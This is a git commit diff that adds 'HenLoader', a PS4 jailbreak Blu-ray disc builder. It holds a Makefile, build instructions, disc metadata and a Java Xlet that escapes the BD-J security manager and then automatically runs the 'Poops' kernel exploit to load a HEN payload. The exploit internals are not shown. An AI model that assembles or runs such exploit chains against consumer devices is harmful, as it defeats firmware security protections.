Initial commit: HenLoader 12.52 with auto-executing Poops exploit
This commit is contained in:
22
.gitignore
vendored
Normal file
22
.gitignore
vendored
Normal file
@@ -0,0 +1,22 @@
|
||||
# Build artifacts
|
||||
build/
|
||||
*.iso
|
||||
*.jar
|
||||
|
||||
# JDK packages (too large for git)
|
||||
thirdparty/*.tar.gz
|
||||
|
||||
# IDE files
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.log
|
||||
57
BUILD_INSTRUCTIONS.md
Normal file
57
BUILD_INSTRUCTIONS.md
Normal file
@@ -0,0 +1,57 @@
|
||||
# Building HenLoader on Debian
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Install the required build tools and libraries:
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y build-essential make pkg-config libbsd-dev
|
||||
```
|
||||
|
||||
## JDK Packages
|
||||
|
||||
The Makefile expects JDK 8 and JDK 11 packages in the `thirdparty/` directory with specific filenames.
|
||||
The exact versions specified in the Makefile may not be available, but compatible versions can be downloaded and renamed.
|
||||
|
||||
### For x86_64 (amd64):
|
||||
The packages should be named:
|
||||
- `OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz`
|
||||
- `OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz`
|
||||
|
||||
You can download compatible versions and rename them, or use these commands:
|
||||
|
||||
```bash
|
||||
cd thirdparty
|
||||
wget -O OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz \
|
||||
"https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u472-b08/OpenJDK8U-jdk_x64_linux_hotspot_8u472b08.tar.gz"
|
||||
wget -O OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz \
|
||||
"https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.29%2B7/OpenJDK11U-jdk_x64_linux_hotspot_11.0.29_7.tar.gz"
|
||||
```
|
||||
|
||||
### For aarch64 (ARM64):
|
||||
Similar approach - download compatible versions and rename to match the Makefile's expected filenames.
|
||||
|
||||
## Building
|
||||
|
||||
Simply run:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
This will:
|
||||
1. Extract JDK 8 from the tarball
|
||||
2. Build the makefs tool
|
||||
3. Compile the Java sources
|
||||
4. Sign the JAR files
|
||||
5. Assemble the Blu-ray disc structure
|
||||
6. Create the final ISO: `build/henloader.iso`
|
||||
|
||||
## Cleaning
|
||||
|
||||
To clean build artifacts:
|
||||
|
||||
```bash
|
||||
make clean
|
||||
```
|
||||
156
Makefile
Normal file
156
Makefile
Normal file
@@ -0,0 +1,156 @@
|
||||
# Makefile cheat sheet:
|
||||
# https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html
|
||||
|
||||
all: build/henloader.iso
|
||||
|
||||
# Known-good JDK packages for Linux
|
||||
# Source: https://github.com/adoptium/temurin8-binaries/releases
|
||||
|
||||
ARCH := $(shell uname -m)
|
||||
ifeq ($(ARCH),aarch64)
|
||||
JDK8_PACKAGE := thirdparty/OpenJDK8U-jdk_aarch64_linux_hotspot_8u462b08.tar.gz
|
||||
JDK11_PACKAGE := thirdparty/OpenJDK11U-jdk_aarch64_linux_hotspot_11.0.28_6.tar.gz
|
||||
else ifeq ($(ARCH),x86_64)
|
||||
JDK8_PACKAGE := thirdparty/OpenJDK8U-jdk_x64_linux_hotspot_8u462b08.tar.gz
|
||||
JDK11_PACKAGE := thirdparty/OpenJDK11U-jdk_x64_linux_hotspot_11.0.28_6.tar.gz
|
||||
else
|
||||
$(error Unknown ARCH "$(ARCH)")
|
||||
endif
|
||||
|
||||
# JDK8 is required for almost every part of the process
|
||||
|
||||
JDK8 := build/jdk8
|
||||
JAVA8 := $(JDK8)/bin/java
|
||||
$(JAVA8):
|
||||
mkdir -p $(JDK8)
|
||||
tar -xf $(JDK8_PACKAGE) -C $(JDK8) --strip-components=1
|
||||
|
||||
# A Linux port of NetBSD makefs is used to create the final UDF-format ISO image
|
||||
|
||||
MAKEFS := build/makefs
|
||||
MAKEFS_SOURCES := $(wildcard thirdparty/makefs/* thirdparty/makefs/udf/*)
|
||||
$(MAKEFS): $(MAKEFS_SOURCES)
|
||||
$(MAKE) -C thirdparty/makefs
|
||||
mkdir -p $(dir $(MAKEFS))
|
||||
mv thirdparty/makefs/makefs $(MAKEFS)
|
||||
|
||||
# BD-J JAR files need to be signed with BDSigner
|
||||
|
||||
BDTOOLS := thirdparty/bd-tools
|
||||
SECCPATH := $(BDTOOLS)/security.jar:$(BDTOOLS)/bcprov-jdk15-137.jar:$(BDTOOLS)/jdktools.jar
|
||||
KEYSTORE := thirdparty/bd-certificates/keystore.store
|
||||
BDSIGNER := $(JAVA8) -cp $(SECCPATH) net.java.bd.tools.security.BDSigner -keystore $(KEYSTORE)
|
||||
|
||||
# InitXlet is the initial Xlet that the PS4 loads. It always lives on the Blu-ray disc.
|
||||
|
||||
CPATH := thirdparty/bd-stubs/interactive.zip:thirdparty/topsecret/rt.jar:thirdparty/topsecret/bdjstack.jar:src
|
||||
JFLAGS := -Xlint:all -Xlint:-static -Xlint:-serial -Xlint:-options -source 1.3 -target 1.3
|
||||
|
||||
LOADER_DSTDIR := build/henloader
|
||||
LOADER_BD_PERM := org/bdj/bluray.InitXlet.perm
|
||||
LOADER_SOURCES += org/bdj/sandbox/DisableSecurityManagerAction.java
|
||||
LOADER_SOURCES += org/bdj/external/BinLoader.java
|
||||
LOADER_SOURCES += org/bdj/external/Helper.java
|
||||
LOADER_SOURCES += org/bdj/external/Kernel.java
|
||||
LOADER_SOURCES += org/bdj/external/KernelOffset.java
|
||||
LOADER_SOURCES += org/bdj/external/Poops.java
|
||||
LOADER_SOURCES += org/bdj/InitXlet.java
|
||||
LOADER_SOURCES += org/bdj/MessagesOutputStream.java
|
||||
LOADER_SOURCES += org/bdj/Screen.java
|
||||
|
||||
build/henloader.jar: $(JAVA8) $(addprefix src/,$(LOADER_SOURCES)) src/$(LOADER_BD_PERM)
|
||||
mkdir -p $(LOADER_DSTDIR)
|
||||
mkdir -p $(LOADER_DSTDIR)/$(dir $(LOADER_BD_PERM))
|
||||
cp src/$(LOADER_BD_PERM) $(LOADER_DSTDIR)/$(LOADER_BD_PERM)
|
||||
mkdir -p $(LOADER_DSTDIR)/org/homebrew/
|
||||
$(JDK8)/bin/javac -d $(LOADER_DSTDIR) -sourcepath src $(JFLAGS) -cp $(CPATH) $(addprefix src/,$(LOADER_SOURCES))
|
||||
$(JDK8)/bin/jar cf $@ -C $(LOADER_DSTDIR) .
|
||||
$(BDSIGNER) $@
|
||||
-rm META-INF/SIG-BD00.RSA
|
||||
-rm META-INF/SIG-BD00.SF
|
||||
-rmdir META-INF
|
||||
|
||||
# Assemble the Blu-ray disc
|
||||
|
||||
DISC := build/disc
|
||||
BD_JO := $(DISC)/BDMV/BDJO/00000.bdjo
|
||||
BD_JAR := $(DISC)/BDMV/JAR/00000.jar
|
||||
BD_FONT := $(DISC)/BDMV/AUXDATA/00000.otf
|
||||
BD_FNTIDX := $(DISC)/BDMV/AUXDATA/dvb.fontindex
|
||||
BD_HEN := $(DISC)/BDMV/AUXDATA/aiofix_USBpayload.elf
|
||||
BD_META := $(DISC)/BDMV/META/DL/bdmt_eng.xml
|
||||
BD_BANNER := $(DISC)/BDMV/META/DL/logo.jpg
|
||||
BD_INDEX := $(DISC)/BDMV/index.bdmv
|
||||
BD_MVOBJ := $(DISC)/BDMV/MovieObject.bdmv
|
||||
BD_ID := $(DISC)/CERTIFICATE/id.bdmv
|
||||
BD_ACRT := $(DISC)/CERTIFICATE/app.discroot.crt
|
||||
BD_BCRT := $(DISC)/CERTIFICATE/bu.discroot.crt
|
||||
|
||||
# PKG files to include at root of BD
|
||||
PKG_FILES := $(wildcard apps/*.pkg)
|
||||
BD_PKGS := $(patsubst apps/%,$(DISC)/%,$(PKG_FILES))
|
||||
|
||||
BD_ALL := $(BD_JO) $(BD_JAR) $(BD_FONT) $(BD_FNTIDX) $(BD_META) $(BD_BANNER) \
|
||||
$(BD_INDEX) $(BD_MVOBJ) $(BD_ID) $(BD_ACRT) $(BD_BCRT) $(BD_HEN) $(BD_PKGS)
|
||||
|
||||
# Create directories
|
||||
$(DISC): $(sort $(dir $(BD_ALL)))
|
||||
$(sort $(dir $(BD_ALL))):
|
||||
mkdir -p $(dir $(BD_ALL))
|
||||
|
||||
# bdjo.xml/00000.bdjo tells the Blu-ray player which Xlet subclass to load
|
||||
$(BD_JO): bd-metadata/bdjo.xml $(DISC) $(JAVA8)
|
||||
$(JAVA8) -jar thirdparty/bd-tools/bdjo.jar $< $@
|
||||
|
||||
# Signed JAR containing the HenLoader Xlet
|
||||
$(BD_JAR): build/henloader.jar $(DISC)
|
||||
cp $< $@
|
||||
|
||||
# There needs to be at least one font file on the disc, if I understand correctly
|
||||
$(BD_FONT): bd-metadata/OpenSans-Regular.otf $(DISC)
|
||||
cp $< $@
|
||||
$(BD_FNTIDX): bd-metadata/dvb.fontindex $(DISC)
|
||||
cp $< $@
|
||||
$(BD_HEN): bd-metadata/aiofix_USBpayload.elf $(DISC)
|
||||
cp $< $@
|
||||
|
||||
# Metadata about the disc, including user-visible name and banner
|
||||
$(BD_META): bd-metadata/bdmt_eng.xml $(DISC)
|
||||
cp $< $@
|
||||
$(BD_BANNER): bd-metadata/logo.jpg $(DISC)
|
||||
cp $< $@
|
||||
|
||||
# Blu-ray index that points the player towards MovieObject
|
||||
$(BD_INDEX): bd-metadata/index.xml $(DISC) $(JAVA8)
|
||||
$(JAVA8) -jar thirdparty/bd-tools/index.jar $< $@
|
||||
|
||||
# Blu-ray movie object that somehow tells the player to run the BD-J xlet? Extremely cursed
|
||||
$(BD_MVOBJ): bd-metadata/movieobject.xml $(DISC) $(JAVA8)
|
||||
$(JAVA8) -jar thirdparty/bd-tools/movieobject.jar $< $@
|
||||
|
||||
# Just an orgId really, needs to match bdjo and perm
|
||||
$(BD_ID): bd-metadata/id.xml $(DISC) $(JAVA8)
|
||||
$(JAVA8) -jar thirdparty/bd-tools/id.jar $< $@
|
||||
|
||||
# Certificates are taken from BDJ-SDK, need to match the keystore
|
||||
$(BD_ACRT): thirdparty/bd-certificates/app.discroot.crt $(DISC)
|
||||
cp $< $@
|
||||
$(BD_BCRT): thirdparty/bd-certificates/bu.discroot.crt $(DISC)
|
||||
cp $< $@
|
||||
|
||||
# Copy PKG files to root of BD
|
||||
$(BD_PKGS): $(DISC)/%.pkg: apps/%.pkg $(DISC)
|
||||
cp $< $@
|
||||
|
||||
# Generate the final ISO containing HenLoader
|
||||
|
||||
DISC_LABEL := NiklasCFW PS4 Jailbreak 12.52
|
||||
|
||||
build/henloader.iso: $(MAKEFS) $(BD_ALL)
|
||||
$(MAKEFS) -m 256m -t udf -o "T=bdre,v=2.50,L=$(DISC_LABEL)" $@ $(DISC)
|
||||
|
||||
# Cleaning just means deleting the build directory
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -r build
|
||||
BIN
apps/PS4_APOL00004_v2.2.0.pkg
Executable file
BIN
apps/PS4_APOL00004_v2.2.0.pkg
Executable file
Binary file not shown.
BIN
apps/PS4_AZIF00003_v0.98.pkg
Executable file
BIN
apps/PS4_AZIF00003_v0.98.pkg
Executable file
Binary file not shown.
BIN
apps/PS4_CHTM00777_v1.2.2.pkg
Executable file
BIN
apps/PS4_CHTM00777_v1.2.2.pkg
Executable file
Binary file not shown.
BIN
apps/PS4_ITEM00001_v1.07.pkg
Executable file
BIN
apps/PS4_ITEM00001_v1.07.pkg
Executable file
Binary file not shown.
BIN
apps/PS4_LAPY20009_v2.05.pkg
Executable file
BIN
apps/PS4_LAPY20009_v2.05.pkg
Executable file
Binary file not shown.
BIN
apps/Store-R2.pkg
Executable file
BIN
apps/Store-R2.pkg
Executable file
Binary file not shown.
BIN
bd-metadata/OpenSans-Regular.otf
Normal file
BIN
bd-metadata/OpenSans-Regular.otf
Normal file
Binary file not shown.
BIN
bd-metadata/aiofix_USBpayload.elf
Normal file
BIN
bd-metadata/aiofix_USBpayload.elf
Normal file
Binary file not shown.
47
bd-metadata/bdjo.xml
Normal file
47
bd-metadata/bdjo.xml
Normal file
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<bdjo>
|
||||
<appCacheInfo>
|
||||
<entries>
|
||||
<language>*.*</language>
|
||||
<name>00000</name>
|
||||
<type>1</type>
|
||||
</entries>
|
||||
</appCacheInfo>
|
||||
<applicationManagementTable>
|
||||
<applications>
|
||||
<applicationDescriptor>
|
||||
<baseDirectory>file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar</baseDirectory>
|
||||
<binding>TITLE_BOUND_DISC_BOUND</binding>
|
||||
<classpathExtension></classpathExtension>
|
||||
<iconFlags>0x0</iconFlags>
|
||||
<iconLocator></iconLocator>
|
||||
<initialClassName>org.bdj.InitXlet</initialClassName>
|
||||
<priority>128</priority>
|
||||
<profiles>
|
||||
<majorVersion>1</majorVersion>
|
||||
<microVersion>0</microVersion>
|
||||
<minorVersion>0</minorVersion>
|
||||
<profile>1</profile>
|
||||
</profiles>
|
||||
<visibility>V_01</visibility>
|
||||
</applicationDescriptor>
|
||||
<applicationId>0x4000</applicationId>
|
||||
<controlCode>0x1</controlCode>
|
||||
<organizationId>0x56789abc</organizationId>
|
||||
<type>0x1</type>
|
||||
</applications>
|
||||
</applicationManagementTable>
|
||||
<fileAccessInfo>.</fileAccessInfo>
|
||||
<keyInterestTable>0xffe00000</keyInterestTable>
|
||||
<tableOfAccessiblePlayLists>
|
||||
<accessToAllFlag>false</accessToAllFlag>
|
||||
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag>
|
||||
</tableOfAccessiblePlayLists>
|
||||
<terminalInfo>
|
||||
<defaultFontFile>00000</defaultFontFile>
|
||||
<initialHaviConfig>HD_1920_1080</initialHaviConfig>
|
||||
<menuCallMask>false</menuCallMask>
|
||||
<titleSearchMask>false</titleSearchMask>
|
||||
</terminalInfo>
|
||||
<version>V_0200</version>
|
||||
</bdjo>
|
||||
17
bd-metadata/bdmt_eng.xml
Normal file
17
bd-metadata/bdmt_eng.xml
Normal file
@@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<disclib xmlns="urn:BDA:bdmv;disclib">
|
||||
<di:discinfo xmlns:di="urn:BDA:bdmv;discinfo">
|
||||
<di:title>
|
||||
<di:name>PS4 Jailbreak 12.52</di:name>
|
||||
<di:numSets>1</di:numSets>
|
||||
<di:setNumber>1</di:setNumber>
|
||||
</di:title>
|
||||
<di:description>
|
||||
<di:tableOfContents>
|
||||
<di:titleName titleNumber="1">PS4 Jailbreak 12.52</di:titleName>
|
||||
</di:tableOfContents>
|
||||
<di:thumbnail href="logo.jpg"/>
|
||||
</di:description>
|
||||
<di:language>eng</di:language>
|
||||
</di:discinfo>
|
||||
</disclib>
|
||||
11
bd-metadata/dvb.fontindex
Normal file
11
bd-metadata/dvb.fontindex
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE fontdirectory PUBLIC "-//DVB//DTD Font Directory 1.0//EN"
|
||||
"http://www.dvb.org/mhp/dtd/fontdirectory-1-0.dtd">
|
||||
<fontdirectory>
|
||||
<font>
|
||||
<name>OpenSans-Regular</name>
|
||||
<fontformat>OTF</fontformat>
|
||||
<filename>00000.otf</filename>
|
||||
<style>PLAIN</style>
|
||||
</font>
|
||||
</fontdirectory>
|
||||
6
bd-metadata/id.xml
Normal file
6
bd-metadata/id.xml
Normal file
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<id>
|
||||
<discId>0x00000000000000000000000000000001</discId>
|
||||
<orgId>0x56789abc</orgId>
|
||||
<version>0200</version>
|
||||
</id>
|
||||
37
bd-metadata/index.xml
Normal file
37
bd-metadata/index.xml
Normal file
@@ -0,0 +1,37 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<index>
|
||||
<appInfo>
|
||||
<frameRate>IGNORED</frameRate>
|
||||
<initialOutputModePreference>Mode2D</initialOutputModePreference>
|
||||
<SSContentExistFlag>false</SSContentExistFlag>
|
||||
<videoFormat>IGNORED</videoFormat>
|
||||
</appInfo>
|
||||
<extensionData/>
|
||||
<indexes>
|
||||
<firstPlayback>
|
||||
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
|
||||
<HDMVName>0x0</HDMVName>
|
||||
<playbackType>HDMVPlayback_MOVIE</playbackType>
|
||||
</firstPlaybackObject>
|
||||
</firstPlayback>
|
||||
<topMenu>
|
||||
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
|
||||
<HDMVName>0x1</HDMVName>
|
||||
<playbackType>HDMVPlayback_INTERACTIVE</playbackType>
|
||||
</topMenuObject>
|
||||
</topMenu>
|
||||
<titles>
|
||||
<title>
|
||||
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject">
|
||||
<BDJOName>00000</BDJOName>
|
||||
<playbackType>BDJPlayback_INTERACTIVE</playbackType>
|
||||
</indexObject>
|
||||
<titleAccessType>V_00</titleAccessType>
|
||||
</title>
|
||||
</titles>
|
||||
</indexes>
|
||||
<paddingN1>0</paddingN1>
|
||||
<paddingN2>0</paddingN2>
|
||||
<paddingN3>0</paddingN3>
|
||||
<version>0100</version>
|
||||
</index>
|
||||
BIN
bd-metadata/logo.jpg
Executable file
BIN
bd-metadata/logo.jpg
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 67 KiB |
1859
bd-metadata/movieobject.xml
Normal file
1859
bd-metadata/movieobject.xml
Normal file
File diff suppressed because it is too large
Load Diff
34
fix_logo.sh
Executable file
34
fix_logo.sh
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/bin/bash
|
||||
# Script to fix logo format for PS4 Blu-ray
|
||||
# Requirements: 640x360 (16:9 aspect ratio), JPEG baseline, no progressive
|
||||
|
||||
if [ ! -f "bd-metadata/logo.jpg" ]; then
|
||||
echo "Error: logo.jpg not found in bd-metadata/"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Current logo info:"
|
||||
file bd-metadata/logo.jpg
|
||||
echo ""
|
||||
|
||||
# Check if ImageMagick is available
|
||||
if command -v convert &> /dev/null; then
|
||||
echo "Converting logo to proper format..."
|
||||
convert bd-metadata/logo.jpg \
|
||||
-resize 640x360! \
|
||||
-quality 85 \
|
||||
-strip \
|
||||
-interlace none \
|
||||
-colorspace sRGB \
|
||||
bd-metadata/logo_fixed.jpg
|
||||
|
||||
mv bd-metadata/logo_fixed.jpg bd-metadata/logo.jpg
|
||||
echo "Logo fixed! New info:"
|
||||
file bd-metadata/logo.jpg
|
||||
else
|
||||
echo "ImageMagick not found. Please install it or manually ensure:"
|
||||
echo " - Size: 640x360 pixels (16:9)"
|
||||
echo " - Format: JPEG baseline (not progressive)"
|
||||
echo " - Color space: sRGB"
|
||||
echo " - Quality: 85-90"
|
||||
fi
|
||||
74
fix_logo_metadata.sh
Executable file
74
fix_logo_metadata.sh
Executable file
@@ -0,0 +1,74 @@
|
||||
#!/bin/bash
|
||||
# Script to fix logo to match old format with EXIF metadata
|
||||
|
||||
OLD_LOGO="/coding/logo_old.jpg"
|
||||
NEW_LOGO="bd-metadata/logo.jpg"
|
||||
TEMP_LOGO="bd-metadata/logo_temp.jpg"
|
||||
|
||||
if [ ! -f "$OLD_LOGO" ]; then
|
||||
echo "Error: $OLD_LOGO not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f "$NEW_LOGO" ]; then
|
||||
echo "Error: $NEW_LOGO not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Fixing logo metadata ==="
|
||||
echo "Old logo: $(file $OLD_LOGO)"
|
||||
echo "New logo: $(file $NEW_LOGO)"
|
||||
echo ""
|
||||
|
||||
# Check if ImageMagick is available
|
||||
if command -v convert &> /dev/null; then
|
||||
echo "Using ImageMagick to fix logo..."
|
||||
|
||||
# Extract EXIF from old logo and apply to new logo
|
||||
# Resize new logo to exact 640x360, add EXIF metadata similar to old
|
||||
convert "$NEW_LOGO" \
|
||||
-resize 640x360! \
|
||||
-quality 90 \
|
||||
-strip \
|
||||
-interlace none \
|
||||
-colorspace sRGB \
|
||||
-set density 86x94 \
|
||||
-set units PixelsPerInch \
|
||||
-orient top-left \
|
||||
"$TEMP_LOGO"
|
||||
|
||||
# Copy EXIF orientation from old logo if possible
|
||||
if command -v exiftool &> /dev/null; then
|
||||
echo "Using exiftool to copy EXIF data..."
|
||||
exiftool -overwrite_original -tagsFromFile "$OLD_LOGO" -Orientation "$TEMP_LOGO" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
mv "$TEMP_LOGO" "$NEW_LOGO"
|
||||
echo ""
|
||||
echo "Logo fixed! New info:"
|
||||
file "$NEW_LOGO"
|
||||
ls -lh "$NEW_LOGO"
|
||||
|
||||
elif command -v exiftool &> /dev/null; then
|
||||
echo "Using exiftool to fix metadata..."
|
||||
# Copy EXIF data from old to new
|
||||
exiftool -overwrite_original \
|
||||
-tagsFromFile "$OLD_LOGO" \
|
||||
-Orientation \
|
||||
-XResolution=86 \
|
||||
-YResolution=94 \
|
||||
-ResolutionUnit=2 \
|
||||
"$NEW_LOGO"
|
||||
|
||||
echo "Logo fixed! New info:"
|
||||
file "$NEW_LOGO"
|
||||
|
||||
else
|
||||
echo "Error: Need ImageMagick or exiftool installed"
|
||||
echo ""
|
||||
echo "Install with:"
|
||||
echo " sudo apt install imagemagick"
|
||||
echo " # OR"
|
||||
echo " sudo apt install libimage-exiftool-perl"
|
||||
exit 1
|
||||
fi
|
||||
172
src/org/bdj/InitXlet.java
Normal file
172
src/org/bdj/InitXlet.java
Normal file
@@ -0,0 +1,172 @@
|
||||
package org.bdj;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.*;
|
||||
import javax.tv.xlet.*;
|
||||
import java.awt.BorderLayout;
|
||||
import org.havi.ui.HScene;
|
||||
import org.havi.ui.HSceneFactory;
|
||||
import org.dvb.event.UserEvent;
|
||||
import org.dvb.event.EventManager;
|
||||
import org.dvb.event.UserEventListener;
|
||||
import org.dvb.event.UserEventRepository;
|
||||
import org.bluray.ui.event.HRcEvent;
|
||||
import org.bdj.sandbox.DisableSecurityManagerAction;
|
||||
import org.bdj.external.*;
|
||||
|
||||
public class InitXlet implements Xlet, UserEventListener
|
||||
{
|
||||
public static final int BUTTON_X = 10;
|
||||
public static final int BUTTON_O = 19;
|
||||
public static final int BUTTON_U = 38;
|
||||
public static final int BUTTON_D = 40;
|
||||
private static InitXlet instance;
|
||||
public static class EventQueue
|
||||
{
|
||||
private LinkedList l;
|
||||
int cnt = 0;
|
||||
EventQueue()
|
||||
{
|
||||
l = new LinkedList();
|
||||
}
|
||||
public synchronized void put(Object obj)
|
||||
{
|
||||
l.addLast(obj);
|
||||
cnt++;
|
||||
}
|
||||
public synchronized Object get()
|
||||
{
|
||||
if(cnt == 0)
|
||||
return null;
|
||||
Object o = l.getFirst();
|
||||
l.removeFirst();
|
||||
cnt--;
|
||||
return o;
|
||||
}
|
||||
}
|
||||
private EventQueue eq;
|
||||
private HScene scene;
|
||||
private Screen gui;
|
||||
private XletContext context;
|
||||
private static PrintStream console;
|
||||
private static final ArrayList messages = new ArrayList();
|
||||
public void initXlet(XletContext context)
|
||||
{
|
||||
// Privilege escalation
|
||||
try {
|
||||
DisableSecurityManagerAction.execute();
|
||||
} catch (Exception e) {}
|
||||
|
||||
instance = this;
|
||||
this.context = context;
|
||||
this.eq = new EventQueue();
|
||||
scene = HSceneFactory.getInstance().getDefaultHScene();
|
||||
try
|
||||
{
|
||||
gui = new Screen(messages);
|
||||
gui.setSize(1920, 1080); // BD screen size
|
||||
gui.setVisible(true);
|
||||
scene.add(gui, BorderLayout.CENTER);
|
||||
scene.repaint();
|
||||
UserEventRepository repo = new UserEventRepository("input");
|
||||
repo.addKey(BUTTON_U);
|
||||
repo.addKey(BUTTON_D);
|
||||
EventManager.getInstance().addUserEventListener(this, repo);
|
||||
(new Thread()
|
||||
{
|
||||
public void run()
|
||||
{
|
||||
try
|
||||
{
|
||||
scene.repaint();
|
||||
console = new PrintStream(new MessagesOutputStream(messages, scene));
|
||||
//InputStream is = getClass().getResourceAsStream("/program.data.bin");
|
||||
//CRunTime.init(is);
|
||||
|
||||
console.println("Hen Loader LP v1.0, based on:");
|
||||
console.println("- GoldHEN 2.4b18.7 by SiSTR0");
|
||||
console.println("- poops code by theflow0");
|
||||
console.println("- BDJ build environment by kimariin");
|
||||
console.println("- java console by sleirsgoevy");
|
||||
console.println("");
|
||||
System.gc(); // this workaround somehow makes Call API working
|
||||
if (System.getSecurityManager() != null) {
|
||||
console.println("Priviledge escalation failure, unsupported firmware?");
|
||||
} else {
|
||||
Kernel.initializeKernelOffsets();
|
||||
String fw = Helper.getCurrentFirmwareVersion();
|
||||
console.println("Firmware: " + fw);
|
||||
if (!KernelOffset.hasPS4Offsets())
|
||||
{
|
||||
console.println("Unsupported Firmware");
|
||||
} else {
|
||||
console.println("\nExecuting Poops exploit...");
|
||||
int result = org.bdj.external.Poops.main(console);
|
||||
if (result == 0)
|
||||
{
|
||||
console.println("Success");
|
||||
} else {
|
||||
console.println("Fatal fail(" + result + "), please REBOOT PS4");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(Throwable e)
|
||||
{
|
||||
scene.repaint();
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
catch(Throwable e)
|
||||
{
|
||||
printStackTrace(e);
|
||||
}
|
||||
scene.validate();
|
||||
}
|
||||
public void startXlet()
|
||||
{
|
||||
gui.setVisible(true);
|
||||
scene.setVisible(true);
|
||||
gui.requestFocus();
|
||||
}
|
||||
public void pauseXlet()
|
||||
{
|
||||
gui.setVisible(false);
|
||||
}
|
||||
public void destroyXlet(boolean unconditional)
|
||||
{
|
||||
scene.remove(gui);
|
||||
scene = null;
|
||||
}
|
||||
private void printStackTrace(Throwable e)
|
||||
{
|
||||
StringWriter sw = new StringWriter();
|
||||
PrintWriter pw = new PrintWriter(sw);
|
||||
e.printStackTrace(pw);
|
||||
if (console != null)
|
||||
console.print(sw.toString());
|
||||
}
|
||||
public void userEventReceived(UserEvent evt)
|
||||
{
|
||||
if(evt.getType() == HRcEvent.KEY_PRESSED)
|
||||
{
|
||||
if(evt.getCode() == BUTTON_U)
|
||||
gui.top += 270;
|
||||
else if(evt.getCode() == BUTTON_D)
|
||||
gui.top -= 270;
|
||||
scene.repaint();
|
||||
}
|
||||
}
|
||||
public static void repaint()
|
||||
{
|
||||
instance.scene.repaint();
|
||||
}
|
||||
public static int pollInput()
|
||||
{
|
||||
Object ans = instance.eq.get();
|
||||
if(ans == null)
|
||||
return 0;
|
||||
return ((Integer)ans).intValue();
|
||||
}
|
||||
}
|
||||
33
src/org/bdj/MessagesOutputStream.java
Normal file
33
src/org/bdj/MessagesOutputStream.java
Normal file
@@ -0,0 +1,33 @@
|
||||
package org.bdj;
|
||||
|
||||
import java.io.OutputStream;
|
||||
import java.util.ArrayList;
|
||||
import org.havi.ui.HScene;
|
||||
|
||||
public class MessagesOutputStream extends OutputStream
|
||||
{
|
||||
ArrayList messages;
|
||||
HScene scene;
|
||||
String cur;
|
||||
public MessagesOutputStream(ArrayList msgs, HScene sc)
|
||||
{
|
||||
messages = msgs;
|
||||
scene = sc;
|
||||
cur = "";
|
||||
messages.add(cur);
|
||||
}
|
||||
public synchronized void write(int c)
|
||||
{
|
||||
if(c == 10)
|
||||
{
|
||||
scene.repaint();
|
||||
cur = "";
|
||||
messages.add(cur);
|
||||
}
|
||||
else if(c != 179)
|
||||
{
|
||||
cur += (char)c;
|
||||
messages.set(messages.size()-1, cur);
|
||||
}
|
||||
}
|
||||
}
|
||||
34
src/org/bdj/Screen.java
Normal file
34
src/org/bdj/Screen.java
Normal file
@@ -0,0 +1,34 @@
|
||||
package org.bdj;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.awt.Container;
|
||||
import java.awt.Font;
|
||||
import java.awt.Graphics;
|
||||
import java.util.ArrayList;
|
||||
|
||||
public class Screen extends Container
|
||||
{
|
||||
private static final long serialVersionUID = 4761178503523947426L;
|
||||
private ArrayList messages;
|
||||
private Font font;
|
||||
public int top = 40;
|
||||
public Screen(ArrayList messages)
|
||||
{
|
||||
this.messages = messages;
|
||||
font = new Font(null, Font.PLAIN, 36);
|
||||
setBackground(new Color(100, 110, 160));
|
||||
}
|
||||
public void paint(Graphics g)
|
||||
{
|
||||
g.setColor(new Color(100, 110, 160));
|
||||
g.fillRect(0, 0, getWidth(), getHeight());
|
||||
g.setFont(font);
|
||||
g.setColor(new Color(255, 255, 255));
|
||||
for(int i = 0; i < messages.size(); i++)
|
||||
{
|
||||
String message = (String)messages.get(i);
|
||||
int message_width = g.getFontMetrics().stringWidth(message);
|
||||
g.drawString(message, 0, top + (i*40));
|
||||
}
|
||||
}
|
||||
}
|
||||
689
src/org/bdj/api/API.java
Normal file
689
src/org/bdj/api/API.java
Normal file
@@ -0,0 +1,689 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
